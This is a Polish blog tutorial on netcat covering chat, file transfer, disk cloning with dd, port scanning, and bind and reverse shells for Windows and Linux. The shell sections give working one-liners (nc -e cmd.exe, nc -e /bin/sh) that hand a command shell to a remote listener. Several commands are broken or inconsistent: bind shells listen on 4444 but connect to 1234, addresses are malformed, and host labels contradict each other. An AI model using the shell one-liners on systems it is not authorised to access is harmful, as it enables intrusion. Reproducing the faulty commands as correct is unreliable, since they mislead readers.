poniedziałek, 30 września 2019

Netcat to co warto wiedzieć

W tym wpisie kilka przydatnych użyć narzędzia netcat.

Załóżmy, że mamy dwa komputery o adresacji 192.168.0.10 i 192.168.0.20.

1. Prosty czat


Nie jest to bardzo praktyczny przykład, jednak pozwala sobie szybko przypomnieć w jaki sposób używać narzędzia netcat.
Na komputerze 192.198.0.10 zaczynamy nasłuchiwać na porcie 1234:

nc -lvp 1234


Z komputera 192.168.0.20 podłączamy się do już nasłuchującego komputera 192.168.0.10:

nc 192.168.0.10 1234

Parametry:

l - netcat działa w trybie nasłuchiwania czyli jako serwer

v - try gadatliwy (verbose) czyli mamy więcej komunikatów

p - określenie portu który zostanie użyty



 2. Kopiowanie plików za pomocą netcat


Kopiowanie dowolnego pliku z komputera 192.168.0.10 na 192.168.0.20.
Na 192.168.0.20 (komputer na który chcemy skopiować):

nc -lvp 1234 > plik_skopiowany.txt


Na 192.168.0.10 (komputer z którego kopiujemy):

nc 192.168.0.20 1234 < plik_do_skopiowania.txt

Nasłuchiwać również może komputer z którego wysyłamy plik wszystko zależy od tego gdzie ustawimy > (standard output) i < (standard input).
Na 192.168.0.10 (komputer z którego kopiujemy):

nc -lvp 1234 < plik_do_skopiowania.txt


Na 192.168.0.20 (komputer na który kopiujemy):

nc 192.168.0.10.1234 > plik_skopiowany.txt

Na komputerze z którego wysyłamy zamiast < (standard input) możemy użyć | (pipline).
(Dla 1 przypadku) cat plik_do_skopiowania.txt | nc -lvp 1234

albo

(Dla 2 przypadku) cat plik_do_skopiowania.txt | nc 192.168.0.20 1234

 W przypadku wysyłania dużych plików dobrze jest widzieć status wysyłania. W tym celu jeżeli mamy zainstalowane pv możemy go wykorzystać zarówno po stronie wysyłającego jak i odbierającego. Przykładowo:
nc -lvp 1234 | pv -b | > plik_skopiowany.txt

cat plik_do_skopiowania.txt | pv -b | nc 192.168.0.20 1234

zamiast pv -b które pokazuję nam tylko ilość bajtów możemy użyć samo pv które pokaże troszkę więcej informacji.

Przed wysłaniem dużych plików możemy je skompresować. Możemy spakowanie plik podczas wysyłania a następnie zapisać jako plik spakowany.
Na komputerze na który kopiujemy (192.168.0.10):

netcat -lvp 1234 > plik_skopiowany.tar

Na komputerze z którego kopiujemy (192.168.0.20):

tar -czvf - plik_lub_folder | nc 192.168.0.10 1234

Możemy również spakować plik przed wysłaniem i rozpakować go automatycznie.
Na komputerze na który kopiujemy (192.168.0.10):

netcat -lvp 1234 | tar -x


Na komputerze z którego kopiujemy (192.168.0.20):

tar -czvf - plik_lub_folder | nc 192.168.0.10 1234

 Oczywiście narzędzie do pakowania i jego parametry możemy dobierać według potrzeb.



 3. Klonowanie dysków i partycji


 Kopiowanie dysku z komputera 192.168.0.10 na komputer 192.168.0.20.
Na komputerze na który kopiujemy (192.168.0.20):

nc -lvp 1234 | dd of=/dev/sdb


Na komputerze z którego kopiujemy (192.168.0.20):

dd if=/dev/sda | nc 192.168.0.20 1234

 Podczas kopiowania możemy użyć kompresji. Przykładowo:
Na komputerze na który kopiujemy (192.168.0.20):

nc -lvp 1234 |  gzip -dc | dd of=/dev/sdb


Na komputerze z którego kopiujemy (192.168.0.20):

dd if=/dev/sda | gzip |nc 192.168.0.20 1234

Możemy tak samo zrobić kopię i zapisać ją do pliku.
Na komputerze na który kopiujemy (192.168.0.20):

nc -lvp 1234 > kopia_sda_z_192168020.gz


Na komputerze z którego kopiujemy (192.168.0.20):

dd if=/dev/sda | gzip | nc 192.168.0.20 1234



4. Skanowanie portów


Aby przeskanować na stacji 192.168.0.10 porty od 1 do 1000 należy:
nc -v 192.168.0.10 -z 1-1000

Parametry:

z - zakres portów do skanowania



5. Bind Shell (Windows) 


Na komputerze Windows zaczynamy nasłuchiwać (192.168.0.10):

nc -lvp 4444 -e cmd.exe


Podłączamy się nasłuchującego komputera:

nc 192.168.0.10 1234


6. Bind Shell (Linux)


Na komputerze Linux zaczynamy nasłuchiwać (192.168.0.10):

nc -lvp 4444 -e /bin/sh


Podłączamy się nasłuchującego komputera:

nc 192.168.0.10 1234



7. Reverse Shell (Windows) 


Zaczynamy nasłuchiwać na stacji (192.168.0.20):

nc -lvp 1234


Podłączamy się ze stacji Windows do nasłuchującego serwera:

nc 192.168.0.20 1234 -e cmd.exe



8. Reverse Shell (Linux) 


Zaczynamy nasłuchiwać na dowolnym komputerze (192.168.0.20):

nc -lvp 1234


Podłączamy się ze stacji Windows do nasłuchującego serwera:

nc 192.168.0.20 1234 -e /bin/sh



9. Parametry które warto znać


n - nie rozwiązuj nazw

u -  używaj UDP

Brak komentarzy:

Prześlij komentarz